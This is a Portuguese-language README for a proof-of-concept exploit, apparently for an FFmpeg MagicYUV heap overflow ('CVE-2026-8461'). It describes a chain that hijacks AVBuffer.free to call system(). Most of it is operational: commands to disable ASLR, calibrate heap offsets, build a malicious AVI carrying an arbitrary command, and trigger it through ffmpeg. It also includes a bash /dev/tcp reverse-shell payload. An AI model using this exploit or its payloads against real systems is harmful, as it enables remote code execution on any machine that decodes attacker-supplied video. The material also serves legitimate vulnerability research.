CVE-2026-8461 "PixelSmash" — PoC de Escrita Fora dos Limites no Heap do MagicYUV do FFmpeg

[!WARNING] Este repositório contém um PoC de exploit funcional para uma vulnerabilidade de corrupção de heap. Ele se destina exclusivamente à pesquisa de segurança autorizada, contextos de CTF e análise defensiva. Não o use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.

Afetado: Decodificador MagicYUV do FFmpeg 8.0.1 (libavcodec/magicyuv.c)
Primitiva: Escrita OOB no heap → sequestro de AVBuffer.free → chamada a system()

Vulnerabilidade

magy_decode_slice() usa sheight (altura da fatia sem limitação) como limite do laço para escrever no plano de saída Cb/Cr, mas aloca o buffer usando a height limitada. Na última fatia de um frame especialmente elaborado, o laço escreve além do final da região alocada.

// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB write when sheight > height

A escrita fora dos limites atinge uma struct AVBuffer alocada posteriormente. Ao controlar os bytes escritos, AVBuffer.free é sobrescrito com o endereço de system() e AVBuffer.opaque com o endereço da string de comando no heap. Quando o frame é liberado, av_buffer_unref() chama system(cmd).

Análise técnica completa: Inglês · 中文

Arquivos

Requisitos

Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR disabled — required for calibration)

Dependências Python: nenhuma (apenas stdlib).

Início Rápido

Passo 0 — Desative o ASLR

sudo sysctl -w kernel.randomize_va_space=0

Passo 1 — Gere a calibração

Build de depuração (compilado com -g, ex.: a partir do código-fonte com --enable-debug):

python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

Build de produção (biblioteca compartilhada sem símbolos, ex.: apt install ffmpeg ou --enable-shared personalizado):

python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

O caminho de --avi deve ser idêntico entre a calibração e a entrega do exploit. Alterar o comprimento da string do caminho desloca o layout do heap e invalida a calibração.

Passo 2 — Gere o AVI do exploit

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

Passo 3 — Dispare

# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# System-installed FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

Saída esperada: o comando é executado e, em seguida, o processo trava com corrupted size vs. prev_size.

cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

Exemplo de reverse shell

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

Fluxo de Decisão do Script de Calibração

Target FFmpeg binary
    │
    ├─ Has debug symbols?  (file ffmpeg | grep debug_info)
    │       └─ YES → auto_calibrate.py
    │
    └─ Stripped / production
            │
            ├─ Dynamically linked?  (ldd ffmpeg | grep libavutil)
            │       └─ YES → auto_calibrate_nosym.py
            │
            └─ Statically linked + fully stripped
                    └─ Neither script applies
                       (requires LD_PRELOAD malloc hook approach)

auto_calibrate_nosym.py funciona assim:

1. Definindo um breakpoint em av_buffer_create (sempre presente no .dynsym de libavutil.so) para capturar os ponteiros de dados Cb e Cr sem precisar de símbolos de nível de código-fonte.
2. Definindo um watchpoint de escrita por hardware do GDB no endereço inicial da OOB.
3. Percorrendo o dump de heap resultante para localizar a struct AVBuffer e extrair o endereço de system().

Requisitos para Disparo

O exploit é acionado quando o alvo decodifica o frame de vídeo (não apenas o inspeciona):

PoC de Base (apenas escrita OOB, sem payload)

Para demonstrar a vulnerabilidade sem executar um comando:

python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer  or  corrupted size vs. prev_size

Escopo e Limitações

• Arquitetura: Desenvolvido e testado somente em x86_64. O exploit depende de um layout de heap específico em que a struct AVBuffer cai a menos de 640 bytes do endereço inicial da escrita OOB no plano Cb. Em aarch64, a ordem de alocação da glibc coloca o AVBuffer além desse intervalo (o chunk adjacente é o buffer Cr de ~10 KB), então a escrita OOB não consegue alcançá-lo com a geometria de frame atual. Portar para aarch64 exige perfilar o layout de heap do aarch64 e ajustar a geometria do frame de acordo.
• ASLR: Deve estar desativado (kernel.randomize_va_space=0). Com o ASLR ativado, os endereços de heap são randomizados a cada execução e a calibração não se aplica. Uma primitiva de vazamento de informações (info leak) seria necessária para estender isso a alvos com ASLR ativado.
• Escopo da calibração: Válida para um binário específico em uma máquina específica. Um build diferente, uma versão diferente da libc ou um comprimento de caminho de AVI diferente exigem recalibração.
• Caminho do AVI: O AVI do exploit deve ser entregue pelo mesmo caminho absoluto usado durante a calibração.
• auto_calibrate_nosym.py: Requer um FFmpeg com ligação dinâmica e libavutil.so acessível (nos caminhos do sistema ou via --libpath).